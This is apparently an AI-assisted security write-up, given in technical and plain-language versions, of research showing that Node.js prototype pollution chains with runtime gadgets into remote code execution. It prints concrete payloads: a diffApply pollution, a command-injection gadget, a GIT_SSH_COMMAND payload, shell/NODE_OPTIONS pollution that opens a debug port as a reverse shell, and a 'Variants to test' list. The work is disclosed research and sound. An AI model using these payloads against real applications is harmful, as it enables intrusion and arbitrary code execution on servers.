Skip to content
Prototype pollution Write-up Advanced

Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js

The paper shows that prototype pollution in Node.js applications can be chained with universal gadgets in the Node.js runtime to achieve remote code execution, not just denial of service. The authors found 11 universal gadgets and manually exploited eight RCE vulnerabilities in three high-profile applications.

Mikhail Shcherbakov Follow

Published on usenix.org

Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js Mikhail Shcherbakov KTH Royal Institute of Technology

Mikhail Shcherbakov, Musard Balliu, Cristian-Alexandru Staicu, on usenix.org

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

Context

This write-up covers a research paper on prototype pollution in Node.js and its escalation to remote code execution (RCE). The target is not a single web application but the Node.js runtime and the applications built on it. Prototype pollution is a JavaScript vulnerability: because most objects inherit from a shared root prototype, Object.prototype, an attacker who can write to that root prototype at runtime changes the behaviour of every object that inherits from it. Prior work treated any mutation of the root prototype as a successful attack, with denial of service (DoS) as the usual consequence, for example by overwriting a built-in such as toString. This work goes further and asks whether prototype pollution can be turned into RCE in full Node.js applications.

The authors frame the attack in two stages, by analogy with object injection vulnerabilities (OIVs). In stage one the attacker places a payload into an injection sink, for example a property of an object. In stage two a gadget, meaning legitimate code that reads that property and passes it to a security-sensitive operation, carries the payload to an attack sink. They call this class prototype-based object injection vulnerabilities (POIV). The work was carried out by Mikhail Shcherbakov and Musard Balliu (KTH Royal Institute of Technology) and Cristian-Alexandru Staicu (CISPA Helmholtz Center for Information Security).

The paper reports 11 universal gadgets in core Node.js APIs and eight exploitable RCE vulnerabilities in three high-profile applications, among them NPM CLI, Parse Server and Rocket.Chat. The vulnerabilities were responsibly disclosed to the developers and are now fixed, acknowledged with a high-severity advisory (the paper cites CVE-2022-24760 as an example) and bug bounties.

Setup

The analysis is built on GitHub's CodeQL static analysis framework. CodeQL extracts a hierarchical representation of the code into a relational database and runs queries written in QL, a declarative logic programming language using Datalog as its semantic model. The authors extend the open-source JavaScript model and the taint tracking configuration with custom path queries for pollution and gadget detection.

The experiments ran on an Intel Core i7-8850H CPU at 2.60GHz with 16 GB of memory. The gadget analysis was run against Node.js version 16.13.1, and each gadget was exploited on both Linux and Windows. The tool, analysis results and data are published in a GitHub repository, and the detected gadgets are open sourced in a separate repository.

For the pollution benchmark the authors compiled an open-source dataset of 100 vulnerable Node.js packages collected from the Snyk database. For each package they studied the proof-of-concept exploit in the vulnerability report and manually identified the code locations (file name and line number) of the injection sinks where an attacker-controlled value is assigned to the polluted property. Some packages contain multiple exploitable injection sinks, which were also added. They also used the 19-package dataset from the prior tool ODGen for a direct comparison.

For the end-to-end study they used the GitHub API to search for JavaScript repositories ordered by number of stars, then selected the top 14 web applications running on Node.js plus NPM CLI. NPM CLI was included because it is installed on every machine with Node.js by default, and it is the largest analysed application at 713,648 lines of code.

Finding it

The starting observation is that injection sinks, the code patterns that lead to prototype pollution, are rare in real-world code. That changes the design goal: instead of tuning a static analysis for precision, the authors tune it for recall, on the argument that a motivated attacker can sieve through a manageable number of false positives to find a critical zero-day. A single true positive gives a high return on investment.

The second observation is that pollution alone is not enough. The attacker needs a gadget: code that reads the polluted property and passes it to a security-sensitive operation. The authors note that code patterns that read a property and fall back to the prototype chain are hard to find statically, because the analysis must filter out cases where the property is defined on the object itself. They therefore use dynamic analysis to find which properties can actually be polluted, and static analysis to trace those properties to attack sinks.

The paper illustrates the problem with a minimal example. Two unrelated objects share the same prototype, so writing to one writes to both:

JavaScript
const o1 = {};
const o2 = new Object();
o1.__proto__.x = 42;
console.log(o2.x);

This prints 42, because the __proto__ properties of o1 and o2 point to the same object.

Stage one, polluting the prototype, needs three ingredients. The following contrived example assumes the attacker controls all three arguments:

JavaScript
function entryPoint(arg1, arg2, arg3) {
  const obj = {};
  const p = obj[arg1];
  p[arg2] = arg3;
  return p;
}

The object in line 2 inherits Object.prototype. The bracket access in line 3 lets the attacker pass __proto__ as arg1 to store Object.prototype in p. Line 4 then assigns an attacker-controlled value to a property of Object.prototype. A DoS follows immediately from a call such as entryPoint("__proto__", "toString", 1), which sets Object.prototype.toString = 1 and crashes any application that calls toString().

Stage two needs a gadget. The paper's example is a benign-looking function that executes a command:

JavaScript
const { execSync } = require("child_process");
function gadget(args, options) {
  const cmd = options.cmd || "cmd.exe /k";
  return execSync(`${cmd} ${args}`);
}
const args = ...;
gadget(args, {});

The developer passes an empty object, so options.cmd is undefined and the default command is expected. But after entryPoint("__proto__", "cmd", "calc.exe&"), the undefined options.cmd falls back to the value on the prototype chain, and the attacker controls the command passed to execSync.

Exploitation

Step 1: Detecting prototype pollution with multi-label taint analysis

The analysis looks for the pattern obj[prototype][property] = value using a flow- and context-sensitive multi-label taint analysis. Two labels are used: input marks parameters directly controlled by the attacker, and proto records that the attacker already controls the prototype of the labelled object. Parameters start with the input label. When a property read has a tainted value in the property name, such as obj[prototype] with prototype labelled input, the label of the result changes to proto. The analysis continues until it reaches a property assignment whose object carries the proto label, which is the injection sink. A priority mode additionally checks that the property name and the value are labelled input, which marks sinks that are easier to exploit.

The paper walks through the NPM CLI function diffApply as an example:

JavaScript
function diffApply(obj, diff) {
  var lastProp = diff.path.pop();
  var thisProp;
  while ((thisProp = diff.path.shift()) != null) {
    if (!(thisProp in obj)) {
      obj[thisProp] = {};
    }
    obj = obj[thisProp];
  }
  if (diff.op === REPLACE || diff.op === ADD) {
    obj[lastProp] = diff.value;
  }
}

The input label propagates from diff through the built-in shift() to thisProp. The property read in line 8 changes its label to proto, and the assignment in line 11 is reported as an injection sink. It is also a priority sink because lastProp and diff.value carry the input label. A call such as:

JavaScript
 diffApply({}, {path: ['__proto__', 'env'], value: 'payload', op: ADD})

injects an env property with value payload into Object.prototype.

Target functions are defined in two ways: a package's exported functions (Exported Functions) or any function in the codebase (Any Functions). The first is used for package analysis, assuming the attacker controls any exported function. The second lets the authors analyse applications without knowing their entry points, and also works around cases where label propagation fails, for example through callbacks or dynamically generated code. The analysis also reconstructs a call graph and treats functions with no callers as potential application entry points, reporting the code paths to the injection sink.

Five analysis variants result: one for entry point detection, two priority analyses (one per target function type) that report sinks with all ingredients tainted, and two general analyses that report sinks with a tainted receiver only.

Step 2: Finding universal gadgets with a hybrid analysis

The dynamic part parses the Node.js source code and extracts all directly accessed properties, obtaining 18,741 property names. For each name it installs a getter on Object.prototype and invokes APIs from the Node.js documentation with typical inputs, such as running ls with spawn, logging any access to those properties. Three APIs were analysed: child_process.spawnSync, require and vm.runInNewContext, yielding 10, 11 and 16 candidate properties respectively. The authors note the inputs are not exhaustive and that gadgets requiring exact arguments would be of limited use anyway.

The static part takes the Node.js source and the property names and reconstructs a call graph of the API functions, including aliases. It then finds paths from exported functions to the polluted property reads and combines this with context-sensitive taint tracking to reach attack sinks, which are internal functions with no implementation in the codebase. A polluted label is propagated for property assignments, and a receiver label is applied recursively to the receiver, because not all properties of an object can be enumerated when it is passed to a sink. Only the lib folder was analysed, 70,493 lines of code. The analysis found 778 exported functions that reach the property reads and 342 in which values from those properties flow into internal functions.

The paper's example is the spawn function:

JavaScript
const { ArrayPrototypePush } = primordials;
const { Process } = internalBinding('process_wrap');
function spawn(file, args, opts) {
  opts = normalizeSpawnArgs(file, args, opts);
  this._handle = new Process();
  this._handle.spawn(opts);
}
function normalizeSpawnArgs(file, args, opts) {
  let envKeys = [], envPairs = [];
  const env = opts.env || process.env;
  /* ... */
  for (const key in env)
    ArrayPrototypePush(envKeys, key);
  for (const key of envKeys) {
    const v = env[key];
    ArrayPrototypePush(envPairs, `${key}=${v}`);
  }
  return { /* ...,*/ envPairs /*, ... */ };
}

If a developer passes an object without an env property, the runtime looks it up on the prototype chain. The taint flows from the read in line 11 through the for..in loop and the internal ArrayPrototypePush to the object returned with envPairs, which is passed to _handle.spawn, a native binding in the C++ component and the actual attack sink. With {GIT_SSH_COMMAND: 'calc&'} as the payload for diffApply, the attacker waits for the git command to invoke spawn, which uses GIT_SSH_COMMAND when connecting to a remote system.

For the shell property, the static analysis found 8 sources, mostly in lib/child_process.js, and 11 function invocations where the tainted value leaves the JavaScript world, one of them a call to the native spawnSync in lib/internal/child_process.js. A call graph reachability analysis identified four other APIs reaching one of the sources. A test case that polluted shell with the value touch and invoked spawnSync created a file in the current directory, confirming the gadget.

Step 3: The universal gadgets

The paper reports 11 gadgets. The table summarises the properties to pollute, the trigger, the impact and the operating system (L for Linux, W for Windows, L+W for both).

ID Universal properties Trigger Impact OS
G1 shell, env Call command injection API Execute an arbitrary command L+W
G2 shell, env Call command injection API Execute an arbitrary command L
G3 shell, input Call command injection API Execute an arbitrary command W
G4 main Import a package without a declared "main" Import an arbitrary file from the disk* L+W
G5 main Require a package without a declared "main" Require an arbitrary file from the disk* L+W
G6 exports, 1 Require a file using a relative path Require an arbitrary file from the disk* L+W
G7 '=C:' Resolve a file path Resolve the path to a different file W
G8 contextExtensions Require a file using a relative path Overwrite global variables of the file L+W
G9 contextExtensions Compile function in a new context Overwrite function's global variables L+W
G10 shell, env, main Require a package without a declared "main" Execute an arbitrary command L+W
G11 shell, env, exports, 1 Require a file using a relative path Execute an arbitrary command L+W
  • denotes gadgets for which a Windows variant achieves arbitrary command execution using the SMB protocol.

The first gadget targets command execution. Consider this benign code:

JavaScript
const { execSync } = require('child_process');
console.log(execSync('echo "hi"').toString());

Prior work considered call sites with constant arguments safe, assuming the command cannot be manipulated. The authors show that assumption fails under prototype pollution. These pollutions:

JavaScript
Object.prototype.shell = "node";
Object.prototype.env = {};
Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337";

trick the code into spawning a new Node.js process with the debug port open, acting as a reverse shell. The polluted shell overwrites the developer's command, and env.NODE_OPTIONS is set as an environment variable of the current process and copied to all child processes. The gadget affects spawn, spawnSync, exec, execSync and execFileSync. The precondition is that the call site does not explicitly set an options argument, for example no second argument to execSync.

The next gadget targets require and import:

JavaScript
Object.prototype.main = "./../../pwned.js" // trigger call
require('my-package')

The precondition is that my-package has no main property in its package.json. The polluted main is then used to retrieve the code to execute instead of the legitimate module code, so the attacker can load an arbitrary file from disk, for example one that calls command execution APIs. The paper names the growl package, whose test.js invokes the package with different test values and which uses spawn internally, and a file shipped with the NPM command line tool, npm/scripts/changelog.js. The authors state this is, to the best of their knowledge, the first evidence ever reported that hijacking control flow through code reuse attacks is possible in Node.js.

The two gadgets can be combined:

JavaScript
// pollutions for the first gadget
Object.prototype.main = "/path/to/npm/scripts/changelog.js";
// pollutions for the second gadget
Object.prototype.shell = "node";
Object.prototype.env = {};
Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337";
// trigger call
require("bytes");

When bytes is loaded, the first gadget loads changelog.js, which invokes execSync and triggers the second gadget, starting a Node.js process with a debugging session.

Another gadget loads arbitrary files by polluting 1 and exports:

JavaScript
let rootProto = Object.prototype;
rootProto["exports"] = {".":"./changelog.js"};
rootProto["1"] = "/path/to/npm/scripts/";
// trigger call
require("./target.js");

While resolving a relative path, require checks whether the target is an ES6 module. During this process the polluted property 1 is read through a destructuring operator in /internal/modules/cjs/loader.js:

JavaScript
const { 1: name, 2: expansion = "" } = StringPrototypeMatch(...) || [];

The attacker-controlled value becomes the target module's name, so require concludes that ./target.js resolves to /path/to/npm/scripts/ and is an ES6 module. The exports property supplies the entry point for this non-existing module, and even without a package.json at the target location, require treats it as a valid module path. This gadget does not work on legacy Node.js versions such as 14.15.0, so a recent Node.js version is a precondition.

To estimate prevalence, the authors measured the 10,000 most dependent-upon NPM packages: 1,958 have no main entry (G4, G5, G10), 4,420 use relative paths inside require statements (G6, G8, G11), and 355 directly use the command injection API (G1, G2, G3). They call this an upper bound, because the attacker may struggle to invoke the trigger through the public interface, polluting property 1 may have unintended side effects, and the pollution often needs to happen during the application's initialisation phase.

Step 4: End-to-end exploitation

The workflow starts with the Priority query with Any Functions as entry points. The query reports potential injection sinks and the functions that pass tainted data to them, including actual entry points and functions that take data from the environment such as a database. For the latter, a call flow analysis finds the application entry points. The analyst then manually classifies each case as a false positive or a local issue, filtering out non-executable cases such as patterns in testing code and development tools. For suspicious cases the analyst uses the detected entry points to build a first payload and validates it on the application, iterating with tools such as a debugger if it fails. If the pollution is confirmed, the next step is to find gadget triggers. The universal gadget entry points are extended with functions that evaluate JavaScript code as strings (eval(), new Function(), new vm.Script), and a call graph analysis finds calls to these functions and the entry points that reach them. The analyst must confirm the gadget runs after the injection sink and build a payload that pollutes the required properties. The input can be read from the polluted property, or execution can depend on conditionals that use it.

This methodology produced eight exploitable RCE vulnerabilities in three high-profile applications: NPM CLI, Parse Server and Rocket.Chat.

Root cause

The root cause is the permissive nature of JavaScript's prototype-based inheritance. Most objects share the root prototype, so an attacker who controls a property name used in a bracket access can reach Object.prototype and write arbitrary properties to it. Every object that inherits from it then reflects the change. The vulnerable pattern is obj[prototype][property] = value, where the attacker controls the prototype access and, in the priority case, the property name and value.

Existing defences did not stop this. Prior static analyses achieved high precision but low recall, so they missed flaws in real applications. Prior work also treated any mutation of the root prototype as the attack, focusing on DoS, and did not address gadget detection. The authors note that CodeQL's built-in models of JavaScript built-ins were insufficient in practice, and they iteratively fixed language features such as arrays and reflection calls to improve taint semantics. The paper also provides initial evidence that unused code shipped with applications, such as third-party dependencies, can be leveraged as part of code reuse attacks, which motivates debloating techniques like Mininode.

Impact

An attacker who controls the untrusted entry points of a Node.js application, such as HTTP connections or untrusted database reads, can achieve arbitrary code execution on the application. The universal gadgets appear in code that runs with the Node.js runtime, so they are available in any Node.js application, and the attacker only needs to control the injection sinks that reach a gadget. The paper states that the existence of this gadget implies that every Node.js application vulnerable to prototype pollution and using a command execution API after a pollution is vulnerable to RCE, with the precondition that the call site does not set an options argument. The require gadgets let an attacker load arbitrary files from disk, and the combined gadget starts a Node.js process with a debugging session. The authors describe prototype pollution as a critical security vulnerability in the current Node.js landscape, while noting the prevalence figures are an upper bound and that some gadgets have preconditions such as a recent Node.js version or a pollution before the gadget runs.

Fix

The eight RCE vulnerabilities were responsibly disclosed to the developers and are now fixed, acknowledged with a high-severity advisory and bug bounties. On the defensive side, the authors argue for debloating techniques such as Mininode to remove unused code that can serve as gadgets, and for static analyses tuned for recall when hunting for exploitable pollution.

Variants to test

  1. Command execution APIs: pollute shell and env (with env.NODE_OPTIONS) and call spawn, spawnSync, exec, execSync or execFileSync without an explicit options argument. A positive result is a new process with the debug port open or an arbitrary command executed.
  2. Package loading: pollute main and require a package whose package.json has no main entry. A positive result is an arbitrary file from disk being loaded instead of the module.
  3. Relative path resolution: pollute exports and 1 and require a relative path. A positive result is the path resolving to an attacker-controlled directory treated as an ES6 module, on a recent Node.js version.
  4. Combined chain: pollute main to point at a file that calls a command execution API, then pollute shell and env and require a package. A positive result is a Node.js process started with a debugging session.
  5. Code evaluation: look for eval(), new Function() or new vm.Script reached from application entry points, and check whether the input can be read from a polluted property or whether execution depends on a conditional that uses it. A positive result is attacker-controlled code evaluated in the runtime.
  6. Context gadgets: pollute contextExtensions and require a relative path or compile a function in a new context. A positive result is overwritten global variables of the file or function.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 27 min read.

What happened, in plain words

A group of researchers looked at a common weakness in JavaScript programs and showed that it can be turned into one of the most serious kinds of attack: running the attacker's own commands on a server. The weakness is called prototype pollution. The programs they studied are not websites in the usual sense; they are applications written in JavaScript and run by a program called Node.js, which lets JavaScript run on a server instead of inside a browser.

To follow the story you only need a few ideas. JavaScript builds objects, which are bundles of named values, a bit like a form with labelled fields. Every object can inherit default fields from a shared template called a prototype. Most objects in a running JavaScript program inherit from one single shared template, the root prototype, Object.prototype. If an attacker can add a field to that shared template, every object in the program suddenly has that field too, even objects the attacker never touched. That is prototype pollution.

On its own, adding a field to the shared template usually just breaks things: a program that expects a function where it now finds a number will crash. That is a denial of service (DoS), and earlier research stopped there. This paper asks a bigger question: can the polluted field be picked up later by ordinary, innocent-looking code and carried into a place where it causes a command to run? The innocent code that does the carrying is called a gadget. The place where the damage happens, such as a function that starts a new process, is called an attack sink.

The authors describe the attack as two stages, borrowing the language of a related class of bugs called object injection vulnerabilities (OIVs). In stage one the attacker loads the gun: they place a payload into a spot where data gets written, called an injection sink. In stage two someone else pulls the trigger: a gadget reads the payload and hands it to an attack sink. They give this combined class a name, prototype-based object injection vulnerabilities (POIV).

The work was done by Mikhail Shcherbakov and Musard Balliu of KTH Royal Institute of Technology and Cristian-Alexandru Staicu of CISPA Helmholtz Center for Information Security. The results are stark: 11 reusable gadgets inside Node.js itself, and eight working remote code execution (RCE) vulnerabilities in three well-known applications, among them NPM CLI, Parse Server and Rocket.Chat. RCE means the attacker gets their code running on the victim's machine. The authors told the developers, the bugs are now fixed, and the work was acknowledged with a high-severity security advisory (the paper cites CVE-2022-24760 as an example) and bug bounties.

Setup

Before the findings, it helps to know how the researchers did the looking. They did not read code by hand. They used a tool called CodeQL, made by GitHub. CodeQL reads a codebase and turns it into a giant searchable database, a bit like turning a library of books into a card index where every sentence is a card. You then ask questions of that index in a query language called QL. QL is declarative: you describe what you are looking for, not the steps to find it, and it is built on a logical model called Datalog. CodeQL ships with ready-made support for JavaScript, including the ability to follow data as it flows from one place to another, which is called taint tracking. The authors extended that support with their own queries for finding pollution and for finding gadgets.

The experiments ran on an Intel Core i7-8850H processor at 2.60GHz with 16 GB of memory. The gadget hunt targeted Node.js version 16.13.1, and every gadget was tried on both Linux and Windows. The tool, the results and the data are published in a GitHub repository, and the detected gadgets are published in a separate repository.

For the pollution half of the study they built a test set of 100 vulnerable Node.js packages taken from the Snyk database, a public catalogue of known vulnerable software. A package here means a reusable chunk of code that other projects install, like a spare part. For each package they read the proof-of-concept exploit in the vulnerability report and manually noted the exact file and line where the dangerous write happens. Some packages had more than one such spot, and those were added too. They also used a 19-package set from an earlier tool called ODGen so they could compare results directly.

For the end-to-end half they used the GitHub API to search for JavaScript repositories sorted by number of stars, a rough popularity signal. They picked the top 14 web applications running on Node.js, plus NPM CLI. NPM CLI is the command-line tool that installs JavaScript packages; it comes bundled with Node.js, so it sits on every machine that has Node.js. It is also the largest application they analysed, at 713,648 lines of code.

Finding it

The first observation is about rarity. The dangerous code pattern that causes pollution is uncommon in real software. That changes how you should tune a scanner. A scanner tuned for precision tries hard to avoid false alarms, at the cost of missing real bugs. A scanner tuned for recall tries hard to catch every real bug, at the cost of more false alarms. The authors deliberately chose recall, arguing that a determined attacker can sift through a manageable pile of false alarms to find one real, previously unknown bug, a zero-day. One real hit pays for all the noise.

The second observation is that pollution alone is not enough. You also need a gadget: code that reads the polluted field and passes it somewhere dangerous. Finding such reads automatically is hard, because the scanner must tell apart a field that genuinely exists on an object from one that is only found by falling back to the shared prototype. So the authors split the job: a dynamic analysis (running code and watching what happens) finds which fields can actually be polluted, and a static analysis (examining code without running it) traces those fields to dangerous operations.

They start with a tiny demonstration that two unrelated objects share the same prototype, so writing to one writes to both:

JavaScript
const o1 = {};
const o2 = new Object();
o1.__proto__.x = 42;
console.log(o2.x);

Line by line:

  1. const o1 = {}; creates an empty object and names it o1.
  2. const o2 = new Object(); creates another empty object, o2, by a different route.
  3. o1.__proto__.x = 42; reaches through o1 to its prototype, the shared root template, and adds a field called x with the value 42.
  4. console.log(o2.x); prints o2's field x. o2 never had an x, but it inherits from the same template, so it finds the one just added.

The output is 42. The two objects are unrelated, yet the __proto__ of each points to the same object.

Stage one, polluting the prototype, needs three ingredients. The example below assumes the attacker controls all three arguments:

JavaScript
function entryPoint(arg1, arg2, arg3) {
  const obj = {};
  const p = obj[arg1];
  p[arg2] = arg3;
  return p;
}

Line by line:

  1. function entryPoint(arg1, arg2, arg3) { defines a function that takes three values from outside, here all attacker-controlled.
  2. const obj = {}; creates a fresh empty object, which inherits from the shared root prototype.
  3. const p = obj[arg1]; looks up a field on obj whose name is whatever the attacker put in arg1. If the attacker passes the special name __proto__, this returns the shared root prototype itself and stores it in p.
  4. p[arg2] = arg3; writes a field named by arg2 with the value arg3 onto whatever p is. Since p can be the root prototype, the attacker can write any field with any value onto the shared template.
  5. return p; hands the object back.

A denial of service follows immediately from a call such as entryPoint("__proto__", "toString", 1). That sets the shared toString (a built-in function every object has) to the number 1, so any program that later calls toString() crashes.

Stage two needs a gadget. The paper's example is an innocent-looking function that runs a command:

JavaScript
const { execSync } = require("child_process");
function gadget(args, options) {
  const cmd = options.cmd || "cmd.exe /k";
  return execSync(`${cmd} ${args}`);
}
const args = ...;
gadget(args, {});

Line by line:

  1. const { execSync } = require("child_process"); loads a built-in Node.js module for starting other programs and pulls out execSync, which runs a command and waits for it to finish.
  2. function gadget(args, options) { defines a function taking some arguments and an options object.
  3. const cmd = options.cmd || "cmd.exe /k"; picks the command: use options.cmd if it is set, otherwise fall back to a default Windows shell command.
  4. return execSync(${cmd} ${args}); runs the chosen command with the arguments appended.
  5. const args = ...; is a placeholder for whatever arguments the program supplies.
  6. gadget(args, {}); calls the function with an empty options object, so options.cmd is undefined and the default command is expected.

Now the attacker calls entryPoint("__proto__", "cmd", "calc.exe&"). The empty options object has no cmd of its own, so the lookup falls back to the shared prototype, where the attacker has just placed cmd. The attacker now controls the command passed to execSync, and a calculator is launched.

Exploitation

Step 1: Detecting prototype pollution with multi-label taint analysis

The scanner looks for the pattern obj[prototype][property] = value, meaning a write to a field of an object reached through an attacker-chosen name. It uses a technique called multi-label taint analysis. Taint analysis is like tracking a drop of dye through plumbing: you mark the untrusted input and follow it through the program. Multi-label means two markers are used. The input label marks values the attacker directly controls. The proto label records that the attacker already controls the prototype of the labelled object. Parameters start with input. When a field read uses an attacker-controlled name, such as obj[prototype] where prototype carries input, the result is relabelled proto. The analysis keeps following the data until it reaches a write whose target carries proto; that write is the injection sink. A priority mode additionally checks that the field name and the value are both labelled input, which marks the easiest sinks to exploit.

The paper walks through the NPM CLI function diffApply as an example:

JavaScript
function diffApply(obj, diff) {
  var lastProp = diff.path.pop();
  var thisProp;
  while ((thisProp = diff.path.shift()) != null) {
    if (!(thisProp in obj)) {
      obj[thisProp] = {};
    }
    obj = obj[thisProp];
  }
  if (diff.op === REPLACE || diff.op === ADD) {
    obj[lastProp] = diff.value;
  }
}

Line by line:

  1. function diffApply(obj, diff) { defines a function that applies a change description, diff, to an object, obj.
  2. var lastProp = diff.path.pop(); takes the last name off the end of a list of field names and stores it.
  3. var thisProp; declares a variable for the current field name.
  4. while ((thisProp = diff.path.shift()) != null) { repeatedly takes the first name off the front of the list and loops until the list is empty.
  5. if (!(thisProp in obj)) { checks whether the current object already has that field.
  6. obj[thisProp] = {}; if not, creates an empty object there.
  7. obj = obj[thisProp]; steps down into that field, so the next loop iteration works one level deeper.
  8. if (diff.op === REPLACE || diff.op === ADD) { checks whether the requested operation is a replace or an add.
  9. obj[lastProp] = diff.value; writes the supplied value into the final field name.

The input label flows from diff through the built-in shift() into thisProp. The field read in line 8 changes its label to proto, and the write in line 11 is reported as an injection sink. It is also a priority sink, because lastProp and diff.value carry input. A call such as:

JavaScript
 diffApply({}, {path: ['__proto__', 'env'], value: 'payload', op: ADD})

injects an env field with the value payload into the shared root prototype. In plain words: the list of field names starts with __proto__, so the function walks into the shared template, and the final write puts env there.

The scanner can be pointed at code in two ways. It can treat a package's exported functions as the starting points (called Exported Functions), assuming the attacker can call any function the package offers to the outside world. Or it can treat any function in the codebase as a starting point (called Any Functions), which lets the authors analyse applications without knowing their entry points, and also works around cases where the tracking fails, for example through callbacks (functions passed to other functions to be called later) or code generated at runtime. The analysis also rebuilds the map of which function calls which, called a call graph, and treats functions that nobody calls as likely entry points, reporting the paths from them to the injection sink.

Five analysis variants come out of this: one for finding entry points, two priority analyses (one per starting-point type) that report sinks where every ingredient is attacker-controlled, and two general analyses that report sinks where only the object being written to is attacker-controlled.

Step 2: Finding universal gadgets with a hybrid analysis

A universal gadget is one that lives inside Node.js itself, so it is present in every application that runs on Node.js. To find them, the authors combined running code with reading code.

The dynamic part parses the Node.js source and extracts every field name that is accessed directly, ending up with 18,741 names. For each name it installs a getter on Object.prototype. A getter is a trap that runs whenever someone reads that field, so it can log the read. Then it calls APIs from the Node.js documentation with typical inputs, such as running the ls command with spawn, and records any access to those fields. An API here means a documented function that a program can call, like a labelled button on a control panel. Three APIs were exercised: child_process.spawnSync, require and vm.runInNewContext, yielding 10, 11 and 16 candidate fields respectively. The authors admit the inputs are not exhaustive, but note that a gadget needing very specific arguments would be hard for an attacker to trigger anyway, so it would be of limited use.

The static part takes the Node.js source and those field names and rebuilds the call graph of the API functions, including aliases (the same function known by more than one name). It then finds paths from exported functions to the polluted field reads, and combines that with context-sensitive taint tracking to reach attack sinks. Context-sensitive means the analysis keeps track of which call it is inside, so data from one caller is not confused with data from another. Attack sinks are internal functions with no implementation in the JavaScript code, because they are implemented in C++, the lower-level language Node.js is built on. A polluted label is carried for field writes, and a receiver label is applied recursively to the object being written to, because you cannot list every field of an object when it is handed to a sink. Only the lib folder was analysed, 70,493 lines of code. The analysis found 778 exported functions that reach the field reads, and 342 in which values from those fields flow into internal functions.

The paper's example is the spawn function:

JavaScript
const { ArrayPrototypePush } = primordials;
const { Process } = internalBinding('process_wrap');
function spawn(file, args, opts) {
  opts = normalizeSpawnArgs(file, args, opts);
  this._handle = new Process();
  this._handle.spawn(opts);
}
function normalizeSpawnArgs(file, args, opts) {
  let envKeys = [], envPairs = [];
  const env = opts.env || process.env;
  /* ... */
  for (const key in env)
    ArrayPrototypePush(envKeys, key);
  for (const key of envKeys) {
    const v = env[key];
    ArrayPrototypePush(envPairs, `${key}=${v}`);
  }
  return { /* ...,*/ envPairs /*, ... */ };
}

Line by line:

  1. const { ArrayPrototypePush } = primordials; pulls in an internal, protected copy of the array push function, so that even if the normal one is tampered with, this one still works.
  2. const { Process } = internalBinding('process_wrap'); loads the low-level C++ binding that actually starts processes.
  3. function spawn(file, args, opts) { defines the public function for starting a program, taking the program, its arguments and an options object.
  4. opts = normalizeSpawnArgs(file, args, opts); cleans up and fills in the options.
  5. this._handle = new Process(); creates the low-level process object.
  6. this._handle.spawn(opts); hands the options to the C++ side, which is the real attack sink.
  7. function normalizeSpawnArgs(file, args, opts) { defines the helper.
  8. let envKeys = [], envPairs = []; prepares two empty lists: environment variable names and name=value strings.
  9. const env = opts.env || process.env; uses the caller's environment object if given, otherwise the current process's environment.
  10. for (const key in env) loops over every field name in that environment object.
  11. ArrayPrototypePush(envKeys, key); adds each name to the list.
  12. for (const key of envKeys) { loops over the collected names.
  13. const v = env[key]; reads each value.
  14. ArrayPrototypePush(envPairs, ${key}=${v}); builds a name=value string and adds it to the list.
  15. return { /* ...,*/ envPairs /*, ... */ }; returns an object carrying the list.

If a developer passes an options object without an env field, the runtime looks it up on the shared prototype. The taint flows from the read in line 11 through the for..in loop and the internal push into the returned object, which is passed to _handle.spawn, the C++ binding and the actual attack sink. With {GIT_SSH_COMMAND: 'calc&'} as the payload for diffApply, the attacker waits for the git command to call spawn, which uses GIT_SSH_COMMAND when connecting to a remote system. In plain words: git reads that environment variable to decide which program to use for its secure connection, and the attacker has just set it.

For the shell field, the static analysis found 8 sources, mostly in lib/child_process.js, and 11 function calls where the tainted value leaves the JavaScript world, one of them a call to the native spawnSync in lib/internal/child_process.js. A reachability check over the call graph found four other APIs that reach one of the sources. A test that polluted shell with the value touch and then called spawnSync created a file in the current directory, confirming the gadget. touch is a command that creates an empty file, so the file appearing proved the polluted value had been used as the command.

Step 3: The universal gadgets

The paper reports 11 gadgets. The table lists the fields to pollute, what triggers the gadget, what it achieves, and which operating system it works on (L for Linux, W for Windows, L+W for both).

ID Universal properties Trigger Impact OS
G1 shell, env Call command injection API Execute an arbitrary command L+W
G2 shell, env Call command injection API Execute an arbitrary command L
G3 shell, input Call command injection API Execute an arbitrary command W
G4 main Import a package without a declared "main" Import an arbitrary file from the disk* L+W
G5 main Require a package without a declared "main" Require an arbitrary file from the disk* L+W
G6 exports, 1 Require a file using a relative path Require an arbitrary file from the disk* L+W
G7 '=C:' Resolve a file path Resolve the path to a different file W
G8 contextExtensions Require a file using a relative path Overwrite global variables of the file L+W
G9 contextExtensions Compile function in a new context Overwrite function's global variables L+W
G10 shell, env, main Require a package without a declared "main" Execute an arbitrary command L+W
G11 shell, env, exports, 1 Require a file using a relative path Execute an arbitrary command L+W
  • denotes gadgets for which a Windows variant achieves arbitrary command execution using the SMB protocol. SMB is the file-sharing protocol Windows uses to talk to other machines.

The first gadget targets command execution. Consider this innocent code:

JavaScript
const { execSync } = require('child_process');
console.log(execSync('echo "hi"').toString());

Line by line:

  1. const { execSync } = require('child_process'); loads the module for running commands.
  2. console.log(execSync('echo "hi"').toString()); runs echo "hi", which prints hi, converts the result to text and prints it.

Earlier research treated call sites with a fixed command string as safe, assuming the command cannot be changed. The authors show that assumption fails under prototype pollution. These pollutions:

JavaScript
Object.prototype.shell = "node";
Object.prototype.env = {};
Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337";

Line by line:

  1. Object.prototype.shell = "node"; puts a shell field on the shared template, set to node, the Node.js program itself.
  2. Object.prototype.env = {}; puts an empty env object on the shared template.
  3. Object.prototype.env.NODE_OPTIONS = "--inspect-brk=[redacted]:1337"; puts a NODE_OPTIONS field inside that env object, set to a flag that tells Node.js to open a debugging port and wait before running.

These trick the innocent code into starting a new Node.js process with the debug port open, which acts as a reverse shell. A reverse shell is a connection that lets the attacker type commands on the victim machine from their own. The polluted shell overwrites the developer's command, and env.NODE_OPTIONS is set as an environment variable of the current process and copied to every child process. The gadget affects spawn, spawnSync, exec, execSync and execFileSync. The precondition is that the call site does not explicitly set an options argument, for example no second argument to execSync.

